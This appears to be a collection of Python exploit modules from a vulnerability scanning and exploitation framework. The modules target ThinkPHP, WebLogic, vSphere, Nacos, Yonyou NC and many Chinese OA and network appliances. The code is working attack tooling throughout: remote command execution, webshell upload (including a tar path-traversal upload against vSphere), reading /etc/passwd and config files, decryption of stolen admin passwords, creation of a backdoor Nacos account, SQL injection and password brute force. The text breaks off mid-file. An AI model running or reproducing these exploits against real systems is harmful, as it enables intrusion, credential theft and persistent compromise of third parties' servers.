ServiceScan import json import sys import time import asyncio import websockets import re from ws4py.client.threadedclient import WebSocketClient from ..requestClass import Requests class ws_long(WebSocketClient): result = "" def opened(self): req = '{"task":"passer/../../../../../logs/gunicorn"}' self.send(req) def closed(self, code, reason=None): print("Closed down:", code, reason) def received_message(self, resp): resp = json.loads(str(resp)) # print(resp) data = resp['message'] self.close() self.result = data return data def get_results(self): return self.result class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def POC_1(self, target_url): try: ws = target_url.strip("http://") try: ws = ws_long('ws://{}/ws/ops/tasks/log/'.format(ws)) ws.connect() ws.run_forever() return ws.get_results() except KeyboardInterrupt: ws.close() except Exception as e: print(e) return False def fingerprint(self): try: if "jumpserver" in self.service.title.lower(): return True except: return False def poc(self): try: result = self.POC_1(self.service.url) print(self.service.url) if result: return ["JumpServer 日志接口未授权", "最近记录:<br>" + result.split("\n")[0]] except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # Kyan 网络监控设备 密码泄露 import re import requests from VulnScanModel.models import VulnScan from . import kyan_pwd_poc from .. import requestUtil from ..requestClass import Requests session = requests.session() class EXP: def __init__(self, vuln: VulnScan): self.vuln = vuln self.requestUtil = Requests(vuln.cookies) def rce(self, url, cmd): resp = self.requestUtil.post(url + "/run.php", data=f"command={cmd}", session=session) return re.findall("readonly>(.*?)</textarea", resp.text, re.DOTALL)[0].strip() def login(self, url, username, password): print(username, password) resp = self.requestUtil.post(url=url + "/login.php", data=f"user={username}&passwd={password}", session=session) print(resp.text) return True def exp(self, cmd, content=""): [username, password] = (self.vuln.specify.split("[pw]")) self.login(self.vuln.url, username, password) return self.rce(self.vuln.url, cmd) --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # Kyan 网络监控设备 密码泄露 import re from .. import fileUtil from ServiceScanModel.models import ServiceScan from ..requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil= Requests(service.cookies) self.result = False def get_user(self, url): resp = self.requestUtil.get(url + "/hosts") if "UserName" in resp.text: return re.findall("UserName=(.*?)\nPassword=(.*?)\n", resp.text, re.DOTALL)[0] else: return False def fingerprint(self): try: if "platform - Login" in self.service.title: return True except: return False def poc(self): try: result = self.get_user(self.service.url) print(result) if result: return ( ["Kyan 网络监控设备 密码泄露", "用户名: %s<br>密码: %s" % (result[0], result[1])], "%s[pw]%s" % (result[0], result[1])) except Exception as e: print(e) return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # 蓝凌OA 任意文件读取 import base64 import re from Crypto.Cipher import DES from .. import fileUtil from ServiceScanModel.models import ServiceScan from ..requestClass import Requests def descrypt(password): key = "kmssAdminKey"[:8].encode() des = DES.new(key=key, mode=DES.MODE_ECB) text = des.decrypt(base64.b64decode(password)) return text[:-text[-1]].decode() class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def read_file(self, url, filename="/WEB-INF/KmssConfig/admin.properties"): resp = self.requestUtil.post(url + "/sys/ui/extend/varkind/custom.jsp", data='var={"body":{"file":"%s"}}' % filename) return resp.text def fingerprint(self): try: if self.service.url: resp = self.requestUtil.get(self.service.url) if "蓝凌软件" in resp.text: return True except: return False def poc(self): try: result = self.read_file(self.service.url) password = re.findall(r'password = (.*?)\r', result)[0] password = descrypt(password) return ["蓝凌OA 任意文件读取", "管理员密码: %s" % password] except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # LanProxy 任意文件读取 import re from ServiceScanModel.models import ServiceScan from urllib import request from ..requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil= Requests(service.cookies) self.result = False def read_file(self, url, filename="../conf/config.properties"): if not "." in filename: filename = "../" * 8 + filename resp = request.urlopen(request.Request(url + "/" + filename)) return resp.read().decode() def fingerprint(self): try: if self.service.url and self.service.title == "登录": return True except: return False def poc(self): try: result = self.read_file(self.service.url) if "server.bind" in result: (username, password) = \ re.findall("config.admin.username=(.*?)\nconfig.admin.password=(.*?)\n", result, re.DOTALL)[0] if True: return ["LanProxy 任意文件读取", "用户名: %s<br>密码: %s" % (username, password)] except Exception as e: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # MinIO SSRF from ServiceScanModel.models import ServiceScan from ..requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def minio_ssrf_poc(self, url): resp = self.requestUtil.post(url + "/minio/webrpc", header={"Content-Type": "application/json"}, data='{"id":1,"jsonrpc":"2.0","params":{"type": "test"},"method":"Web.LoginSTS"}') print(resp.text) if "We encountered an internal error, please try again." in resp.text: return True def fingerprint(self): try: if self.service.url: resp = self.requestUtil.get(self.service.url + "/minio/login") if "MinIO Browser" in resp.text: return True except: return False def poc(self): try: if self.minio_ssrf_poc(self.service.url): return ["MinIO SSRF", 'vuln path: /minio/webrpc<br>post data: {"id":1,"jsonrpc":"2.0","params":{"type" "test"},"method":"Web.LoginSTS"}'] except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # Alibaba Nacos 未授权访问 from .. import fileUtil from ServiceScanModel.models import ServiceScan from ..requestClass import Requests username = "passerW" password = "pass1729" class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil= Requests(service.cookies) self.result = False def create_user(self, url): resp = self.requestUtil.post(url+"/v1/auth/users", data=f"username={username}&password={password}") print(resp.text) if '"code":200' in resp.text or "already exist!" in resp.text: print(1) return True def fingerprint(self): try: if "Nacos" in self.service.title: resp = self.requestUtil.get(self.service.url+"/nacos") if resp.status_code == 200: self.service.speciality = "/nacos" self.service.save() return True except Exception as e: print(e) return False def poc(self): try: if not "nacos ok" in self.service.speciality: url = self.service.url + self.service.speciality if self.create_user(url): self.service.speciality += ", nacos ok" else: raise Exception return ["Alibaba Nacos 未授权访问", f"用户名: {username}<br>密码: {password}"] except: return [] --- FILE SEPARATOR --- # 用友OA_bshServlet命令执行 import re from ServiceScanModel.models import ServiceScan from VulnScanModel.models import VulnScan from .. import requestUtil from . import nc_bsh_rce_poc from .nc_bsh_rce_poc import POC from ..requestClass import Requests class EXP: def __init__(self, vuln: VulnScan): self.vuln = vuln self.requestUtil = Requests(vuln.cookies) def exp(self, cmd, content="", service=None): poc = POC(ServiceScan(url=self.vuln.url, cookies=self.vuln.cookies)) return poc.bsh_rce(self.vuln.url, cmd, "exp") --- FILE SEPARATOR --- # 用友OA_bshServlet命令执行 import re from ServiceScanModel.models import ServiceScan from ..requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def bsh_rce(self, nc_url, cmd="whoami", type="poc"): try: resp = self.requestUtil.post(nc_url + "/servlet/~ic/bsh.servlet.BshServlet", data={"bsh.script": 'exec("%s")' % cmd}) if "Script Output" in resp.text: cmd_output = re.findall('<pre>(.*?)</pre>', resp.text, re.DOTALL)[0].strip() if type == "poc": result = ["用友OA_BshServlet接口泄露", "cmd: whoami<br>output: " + cmd_output] else: result = cmd_output else: result = [] except: result = [] return result def fingerprint(self): if self.service.title == "YONYOU NC": return True def poc(self): return self.bsh_rce(self.service.url) --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # 奇安信 网康下一代防火墙RCE from .. import fileUtil from ServiceScanModel.models import ServiceScan from ..requestClass import Requests data = '{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;{cmd}>/var/www/html/passerW.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}' class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil= Requests(service.cookies) self.result = False def firewall_rce(self, url, cmd="whoami"): resp = self.requestUtil.post(url + "/directdata/direct/router", data=data.replace("{cmd}", cmd)) resp = self.requestUtil.get(url + "/passerW.txt") if resp.status_code == 200 and not "<script>" in resp.text: return resp.text def fingerprint(self): try: if "网康下一代防火墙" in self.service.title: return True except: return False def poc(self): try: result = self.firewall_rce(self.service.url) print(result) if result: return ["奇安信 网康下一代防火墙RCE", "当前用户: %s" % result] except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # Node-RED 任意文件读取 import traceback from .. import fileUtil from ServiceScanModel.models import ServiceScan from ..requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil= Requests(service.cookies) self.result = False def read_file(self, url, filename="%2fetc%2fpasswd"): filename = filename.replace("/", "%2f") print(filename) resp = self.requestUtil.get(url + f"/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..{filename}") return resp.text def fingerprint(self): try: if self.service.title.lower() == "node-red": return True except: return False def poc(self): try: result = self.read_file(self.service.url) print(result) if "root" in result: return ["Node-RED 任意文件读取", "<b>/etc/passwd: </b><br>%s<br>..." % ("<br>".join(result.split("\n")[:2]))] except Exception as e: traceback.print_exc() return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # Panabit智能应用网关 弱密码 from ServiceScanModel.models import ServiceScan from VulnScanModel.models import VulnScan from .panabit_pwd_poc import POC from ..requestClass import Requests, session session = session() class EXP: def __init__(self, vuln: VulnScan): self.vuln = vuln self.requestUtil = Requests(vuln.cookies) def login(self, url): resp = self.requestUtil.post(url + "/login/userverify.cgi", data="action=user_login&palang=ch&username=admin&password=722289d072731e2cc73038aa9ad9e067", session=session) return (resp.headers["Set-Cookie"].split(";")[0]) def rce(self, url, cmd): cmd = cmd.replace(" ", "$IFS") resp = self.requestUtil.get(url+f"/cgi-bin/Maintain/ajax_top?action=runcmd&cmd={cmd}", session=session) return resp.text def exp(self, cmd, content=""): poc = POC(ServiceScan(url=self.vuln.url, cookies=self.vuln.cookies)) self.login(self.vuln.url) return self.rce(self.vuln.url, cmd) --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # Panabit智能应用网关 弱密码 from .. import fileUtil from ServiceScanModel.models import ServiceScan from ..requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil= Requests(service.cookies) self.result = False def login(self, url): resp = self.requestUtil.post(url + "/login/userverify.cgi", data="action=user_login&palang=ch&username=admin&password=722289d072731e2cc73038aa9ad9e067").json() print(resp["code"]) if resp["code"] == 0: return True def fingerprint(self): try: if self.service.url: resp = self.requestUtil.get(self.service.url) if "pa_row" in resp.text: return True except: return False def poc(self): try: if self.login(self.service.url): return ["Panabit智能应用网关 弱密码", "用户名: admin<br>密码: panabit"] except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # 锐捷EG易网关 管理员账号密码泄露 from ServiceScanModel.models import ServiceScan from VulnScanModel.models import VulnScan from .. import requestUtil from .ruijie_admin_poc import POC from ..requestClass import Requests session = requestUtil.session() class EXP: def __init__(self, vuln: VulnScan): self.vuln = vuln self.requestUtil = Requests(vuln.cookies) def login(self, url, username, password): resp = requestUtil.post(url + "/login.php", data=f"username={username}&password={password}", session=session) return True def rce(self, url, cmd): resp = requestUtil.post(url + "/cli.php?a=shell", data=f"notdelay=true&command={cmd}", session=session).json() return ("\n".join(resp["data"])) def exp(self, cmd, content=""): poc = POC(ServiceScan(url=self.vuln.url, cookies=self.vuln.cookies)) [username, password] = self.vuln.specify.split("[psw]") self.login(self.vuln.url, username, password) return self.rce(self.vuln.url, cmd) --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # 锐捷EG易网关 管理员账号密码泄露 from .. import fileUtil from ServiceScanModel.models import ServiceScan from ..requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def get_admin_pwd(self, url): resp = self.requestUtil.post(f"{url}/login.php", data="username=admin&password=admin?show+webmaster+user").json() if "00." in resp["data"]: users = (resp["data"].encode().split(b"\r\r\n")[2:]) admin_info = (b"[psw]".join(users[0].split(b" ")[1:])).decode() return (b"<br>".join(users).decode(), admin_info) def fingerprint(self): try: service = self.service if service.title == "锐捷网络--登录页面": return True if service.url and service.title == "空标题": resp = self.requestUtil.get(service.url) if "锐捷网络--登录页面" in resp.content.decode(): service.title = "锐捷网络--登录页面" service.save() return True except: return False def poc(self): try: result = self.get_admin_pwd(self.service.url) if result: print(result[1]) return (["锐捷EG易网关 管理员账号密码泄露", "系统用户:<br> %s" % result[0]], result[1]) except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # 安全设备md5密码泄露 import re from ServiceScanModel.models import ServiceScan from vulscan_Project.requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def safe_md5_poc(self, url): resp = self.requestUtil.get(url) try: user_info = re.findall(r'var persons.*?"name":"(.*?)".*?"password":"(.*?)"', resp.text)[0] result = ["安全设备md5密码泄露", "用户名: %s<br>MD5密码: %s" % (user_info[0], user_info[1])] except Exception as e: result = [] return result def fingerprint(self): resp = self.requestUtil.get(self.service.url) if 'Get_Verify_Info(hex_md5(user_string).' in resp.text: return True def poc(self): return self.safe_md5_poc(self.service.url) --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # 深信服行为感知系统RCE from ServiceScanModel.models import ServiceScan from ..requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil= Requests(service.cookies) self.result = False def sangfor_rce(self): resp = self.requestUtil.get(self.service.url + "/tool/log/c.php") if not resp.status_code == 200: return ["深信服行为感知系统RCE", "path:/tool/log/c.php"] else: return [] def fingerprint(self): resp = self.requestUtil.get(self.service.url) if "isHighPerformance : !!SFIsHighPerformance" in resp.text: return True def poc(self): return self.sangfor_rce() --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # 致远OA_webmail.do任意文件下载 import re from ServiceScanModel.models import ServiceScan from vulscan_Project.requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil= Requests(service.cookies) self.result = False def webmail_download(self, url, file="../conf/datasourceCtp.properties", type="poc"): resp = self.requestUtil.get( url + "/seeyon/webmail.do?method=doDownloadAtt&filename=test.txt&filePath=%s"%file) if type == "poc": if "ctpDataSource.url" in resp.text: info = \ re.findall( "ctpDataSource.username=(.*?)workflow.dialect=(.*?)ctpDataSource.*?ctpDataSource.password=(.*?)ctpDataSource.url", resp.text, re.DOTALL)[0] return info else: return False else: return resp.text def fingerprint(self): try: if self.service.url: return True except: return False def poc(self, service: ServiceScan): try: info = self.webmail_download(service.url) if info: return ["致远OA_webmail.do任意文件下载", "数据库: %s<br>用户名: %s<br>密码: %s" % (info[1], info[0], info[2])] else: return [] except Exception as e: print(e) return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # ShowDoc 任意文件上传 from ServiceScanModel.models import ServiceScan from .showdoc_poc import POC from VulnScanModel.models import VulnScan class EXP: def __init__(self, vuln: VulnScan): self.vuln = vuln def exp(self, cmd, content=""): poc = POC(ServiceScan(url=self.vuln.url, cookies=self.vuln.cookies)) result = poc.showdoc_poc(self.vuln.url, cmd, content, "exp") return "上传成功,shell地址:\n%s" % result --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # ShowDoc 任意文件上传 import re from ServiceScanModel.models import ServiceScan from ..requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil= Requests(service.cookies) self.result = False def showdoc_poc(self, url, filename="passer.txt", filedata="passer-W", type="poc"): encoded_data = self.rquestUtil.get_file_data(filename, filedata, "editormd-image-file") resp = self.requestUtil.post(url + "/index.php?s=/home/page/uploadImg", header={'Content-Type': encoded_data[1]}, data=encoded_data[0]) if not "url" in resp.text: return False url = re.findall(r'"url":"(.*?)"', resp.text)[0].replace("\/", "/") if type == "poc": resp = self.requestUtil.get(url) if filedata in resp.text: return url else: return False else: return url def fingerprint(self): try: if self.service.url: resp = self.requestUtil.get(self.service.url + "/index.php?s=/home/page/uploadImg") if "没有上传的文件" in resp.text: return True except: return False def poc(self): try: result = self.showdoc_poc(self.service.url) print(result) if result: return ["ShowDoc 任意文件上传", "Path: %s<br>Content: passer-W" % result.replace(self.service.url, "")] except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # Thinkphp5命令执行 from VulnScanModel.models import VulnScan import html from ..requestClass import Requests class EXP: def __init__(self, vuln: VulnScan): self.vuln = vuln self.requestUtil = Requests(vuln.cookies) def exp(self, cmd, content=""): url = self.vuln.url + r"?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][1]=%s&vars[1][2]=%s" % ( cmd, html.unescape(content)) print(content) print(url) resp = self.requestUtil.get(url) return f"文件上传成功, shell地址:\n{self.vuln.url}/{cmd}\n(如解析失败,可使用 copy('vps_file', 'target_file') 上传)" --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # Thinkphp5命令执行 from ServiceScanModel.models import ServiceScan from vulscan_Project.requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil= Requests(service.cookies) self.result = False def thinkphp_rce(self, url): try: resp = self.requestUtil.get(url) if "http://www.php.net/" in resp.text: return ["Thinkphp5命令执行", r"s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1"] else: return [] except: return [] def fingerprint(self): if self.service.url: return True def poc(self): url = self.service.url + r"?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1" return self.thinkphp_rce(url) --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # Thinkphp debug命令执行 from ServiceScanModel.models import ServiceScan from VulnScanModel.models import VulnScan from .. import requestUtil from .thinkphp_debug_poc import POC class EXP: def __init__(self, vuln: VulnScan): self.vuln = vuln def exp(self, cmd, content=""): poc = POC(ServiceScan(url=self.vuln.url, cookies=self.vuln.cookies)) return poc.thinphp_debug(self.vuln.url, cmd, content) --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # Thinkphp debug命令执行 from ServiceScanModel.models import ServiceScan from ..requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def thinphp_debug(self, url, cmd="", content=""): try: if cmd == "": resp = self.requestUtil.post(url + "/index.php", data={ "_method": "__construct", "filter[]": "call_user_func", "method": "get", "get[]": "phpinfo" }) if "http://www.php.net/" in resp.text: return ["Thinkphp debug命令执行", "phpinfo() is executed"] else: return [] else: file_name = cmd cmd = f"file_put_contents('{file_name}', '{content}')" print(cmd) resp = self.requestUtil.post(url + "/index.php", data={ "_method": "__construct", "filter[]": "assert", "method": "post", "post[]": cmd }) url = url.strip("/") if resp.status_code == 200: return f"文件已成功上传,shell地址: {url}/{file_name}" else: return "" except: return [] def fingerprint(self): if self.service.url: return True def poc(self): return self.thinphp_debug(self.service.url) --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # 360天擎 前台SQL注入 from .. import fileUtil from ServiceScanModel.models import ServiceScan from ..requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def sql_test(self, url): resp = self.requestUtil.get(url + "/api/dp/rptsvcsyncpoint?ccid=1%27;SELECT%20PG_SLEEP(0.3)--") if resp.elapsed.total_seconds() > 1: return True def fingerprint(self, service): try: if "360新天擎" in self.service.title: return True except: return False def poc(self, service: ServiceScan): try: if self.sql_test(service.url): return ["360天擎 前台SQL注入", "vuln path: <br>%s" % "/api/dp/rptsvcsyncpoint?ccid=1"] except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # 和信创天云桌面_RCE from .. import fileUtil from ..requestClass import Requests from ServiceScanModel.models import ServiceScan import traceback class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil= Requests(service.cookies) self.result = False def upload_file(self, url, filename="passer.txt", filedata="passer-W"): data = self.requestUtil.get_file_data(filename, filedata) print(data) resp = self.requestUtil.post(url + "/Upload/upload_file.php?l=1", data=data[0], header={"Content-Type": data[1]}) resp = self.requestUtil.get(url + "/Upload/1/%s" % filename) print(resp.text) if resp.status_code == 200: return url + "/Upload/1/%s" % filename else: return False def fingerprint(self): try: if self.service.url: resp = self.requestUtil.get(self.service.url) if "vesystem" in resp.text: return True except: return False def poc(self): try: result = self.upload_file(self.service.url) if result: return ["和信创天云桌面_RCE", "Path: %s<br>Content: %s" % ("/Upload/1/passer.txt", "passer-W")] except: traceback.print_exc() return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # vSphere Client RCE import os import re from VulnScanModel.models import VulnScan from . import vsphere_rce_poc from .. import fileUtil import tarfile import time import threading # set headers from ..requestClass import Requests headers = {} headers[ "User-Agent" ] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" headers["Cache-Control"] = "no-cache" headers["Pragma"] = "no-cache" shell_name = "passer_W.jsp" vuln_path = "/ui/vropspluginui/rest/services/uploadova" SM_TEMPLATE = b"""<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <env:Body> <RetrieveServiceContent xmlns="urn:vim25"> <_this type="ServiceInstance">ServiceInstance</_this> </RetrieveServiceContent> </env:Body> </env:Envelope>""" windows_payload = "payload/Windows.tar" linux_shell_path = f"/ui/resources/{shell_name}" windows_shell_path = f"/statsreport/shell.jsp" def make_traversal_path(path, level=2): traversal = ".." + "/" fullpath = traversal * level + path return fullpath.replace("\\", "/").replace("//", "/") class Test(threading.Thread): def __init__(self, url, count, requestUtil): threading.Thread.__init__(self) self.url = url self.count = count self.path = f"/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/{self.count}/0/h5ngc.war/resources/{shell_name}" self.tar_file = os.getcwd() + "/vulscan_Project/%s/%s" % ("temp", f"{self.count}.tar") self.result = False self.requestUtil = requestUtil def run(self): archive(self.tar_file, os.getcwd() + "/vulscan_Project/webshell/zs.jsp", self.path) resp = self.requestUtil.post(self.url + vuln_path, header=headers, files={"uploadFile": open(self.tar_file, "rb")}, shell=True) if "success" == resp.text.lower(): print(f"[+]{self.tar_file.split('/')[-1]} is uploaded success") self.result = True os.remove(self.tar_file) def get_result(self): return self.result def archive(tar_file, file, path): tarf = tarfile.open(tar_file, "w") fullpath = make_traversal_path(path, level=2) tarf.add(file, fullpath) tarf.close() def burp(burp_list): for b in burp_list: b.start() for b in burp_list: b.join() class EXP: def __init__(self, vuln: VulnScan): self.vuln = vuln self.requestUtil = Requests(vuln.cookies) def checkShellExist(self, url, type="linux"): time.sleep(5) if type == "linux": re = self.requestUtil.get(url + linux_shell_path) else: re = self.requestUtil.get(url + windows_shell_path) if re.status_code != 404: return True else: return False def uploadWindowsPayload(self, URL): file = {"uploadFile": open(windows_payload, "rb")} re = self.requestUtil.post( URL + vuln_path, files=file, header=headers, shell=True ) if "SUCCESS" in re.text: if self.checkShellExist(URL + windows_shell_path): print( "[+] Shell exist URL: {url}, default password:rebeyond".format( url=URL + windows_payload ) ) else: print("[-] All payload has been upload but not success.") else: print("[-] All payload has been upload but not success.") def rce(self, shell_url, cmd): print(shell_url) resp = self.requestUtil.get(shell_url + f"?i={cmd}") return resp.content.replace(b'\x00', b'').decode() def exp(self, cmd, content=""): vuln = self.vuln url = self.vuln.url.strip("/") shell_path = "" if not shell_name in vuln.specify: test = Test(url, 1, self.requestUtil) test.run() if not test.get_result(): self.uploadWindowsPayload(url) if self.checkShellExist(url, "windows"): shell_path = windows_shell_path else: upload_list = [] for i in range(2, 120): upload_list.append(Test(url, i, self.requestUtil)) if len(upload_list) % 30 == 0: burp(upload_list) upload_list = [] if self.checkShellExist(url): print("\033[31m[+]shell upload success\033[00m") break else: print("\033[31m[-]shell is not uploaded\033[00m") burp(upload_list) if self.checkShellExist(url): shell_path = linux_shell_path if shell_path == "": return "" vuln.specify = shell_path vuln.save() result = f"shell上传成功, shell地址: \n{url}{vuln.specify}\n输出结果: \n%s" % self.rce(url + vuln.specify, cmd) return result --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # vSphere Client RCE from .. import fileUtil from ServiceScanModel.models import ServiceScan from ..requestClass import Requests vuln_path = "/ui/vropspluginui/rest/services/uploadova" SM_TEMPLATE = b"""<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <env:Body> <RetrieveServiceContent xmlns="urn:vim25"> <_this type="ServiceInstance">ServiceInstance</_this> </RetrieveServiceContent> </env:Body> </env:Envelope>""" def getValue(sResponse, sTag="vendor"): try: return sResponse.split("<" + sTag + ">")[1].split("</" + sTag + ">")[0] except: pass return "" class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def getVersion(self, sURL): oResponse = self.requestUtil.post(sURL + "/sdk", data=SM_TEMPLATE) if oResponse.status_code == 200: sResult = oResponse.text if not "VMware" in getValue(sResult, "vendor"): return False else: sVersion = getValue(sResult, "version") # e.g. 7.0.0 sBuild = getValue(sResult, "build") # e.g. 15934073 return (sVersion, sBuild) return False def check_vul(self, url): resp = self.requestUtil.get(url + vuln_path) if resp.status_code == 405: (sVersion, sBuild) = self.getVersion(url) if ( int(sVersion.split(".")[0]) == 6 and int(sVersion.split(".")[1]) == 7 and int(sBuild) >= 13010631 ) or ( (int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) == 0) ): return False else: return f"VMware vCenter Server {sVersion}" return False def fingerprint(self): try: if self.service.url and "ID_VC_Welcome" in self.service.title: return True except: return False def poc(self): try: version = self.check_vul(self.service.url) if version: return ["vSphere Client RCE", f"{version}"] else: return [] except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # weblogic_控制台未授权 from ServiceScanModel.models import ServiceScan from ..requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def fingerprint(self): try: if self.service.url: resp = self.requestUtil.get(self.service.url + "/console") if resp.status_code == 200: return True except: return False def poc(self): try: resp = self.requestUtil.get(self.service.url + "/console/css/%252e%252e%252fconsole.portal", cookies="ADMINCONSOLESESSION=kzJbgq1R262PK2BDhyXyRLvYb534FM2RCPbzv05nDpwk3tGWxGcR!-1057352602") if "控制台主页" in resp.text: return ["weblogic_控制台未授权", "/console/css/%252e%252e%252fconsole.portal"] except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # weblogic控制台弱密码 from .. import fileUtil from ServiceScanModel.models import ServiceScan import threading from ..requestClass import Requests class Burp(threading.Thread): def __init__(self, url, username, pwd, requestUtil): threading.Thread.__init__(self) self.url = url self.username = username self.pwd = pwd self.result = False self.requestUtil = requestUtil def run(self): resp = self.requestUtil.post(self.url + "/console/j_security_check", data={ "j_username": self.username, "j_password": self.pwd }) if "管理控制台主页" in resp.text: self.result = True def get_result(self): return self.result class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def fingerprint(self): if self.service.url: resp = self.requestUtil.get(self.service.url + "/console") if resp.status_code == 200: return True def poc(self): try: burp_info_list = fileUtil.get_burp_list("weblogic") except: return [] burp_list = [] for i in burp_info_list: burp_list.append(Burp(self.service.url, *(i), self.requestUtil)) for i in burp_list: i.start() for i in burp_list: i.join() for i in burp_list: if i.get_result(): return ["weblogic控制台弱密码", "用户名: %s<br>密码: %s" % (i.username, i.pwd)] return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # weblogic_XML反序列化 from ServiceScanModel.models import ServiceScan from VulnScanModel.models import VulnScan from ..requestClass import Requests xml_payload = ''' <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/{file}</string> <void method="println"> <string> {content} </string> </void> <void method="close"/> </object></java></java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> ''' class POC: def __init__(self, service): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def xml_deserialize(self, file, content, type="poc"): payload = xml_payload.format(file=file, content=content) self.requestUtil.post(self.service.url + "/wls-wsat/CoordinatorPortType", header={"Content-Type": "text/xml"}, data=payload) if type == "poc": resp = self.requestUtil.get(self.service.url + "/bea_wls_internal/%s"%file) if content in resp.text: return ["weblogic_XML反序列化", 'Path: /bea_wls_internal/passerW.txt<br>Content: passer-W'] else: return "上传成功,shell地址:\n%s"%(self.service.url+"/bea_wls_internal/%s"%file) def fingerprint(self): if self.service.url: resp = self.requestUtil.get(self.service.url+"/wls-wsat/CoordinatorPortType") if resp.status_code == 200: return True def poc(self): try: return self.xml_deserialize(self.service.url, "passerW.txt", "passer-W") except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # 泛微OA9.0 任意文件上传 from ServiceScanModel.models import ServiceScan from ..requestClass import Requests vul_path_9 = "/page/exportImport/uploadOperation.jsp" class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def wui_file_poc(self, url): resp = self.requestUtil.get(url + vul_path_9) if resp.status_code == 200: return ["泛微OA9.0 任意文件上传", "uploadOperation.jsp"] else: return [] def fingerprint(self): try: if not self.service.url == "" and "/help/sys/help.html" in self.requestUtil.get(self.service.url).text: return True except: return False def poc(self): try: return self.wui_file_poc(self.service.url) except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # 泛微OA8.0 SQL注入 from ServiceScanModel.models import ServiceScan from ..requestClass import Requests vul_path_8 = "/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%201234%20as%20id" pwd_path = 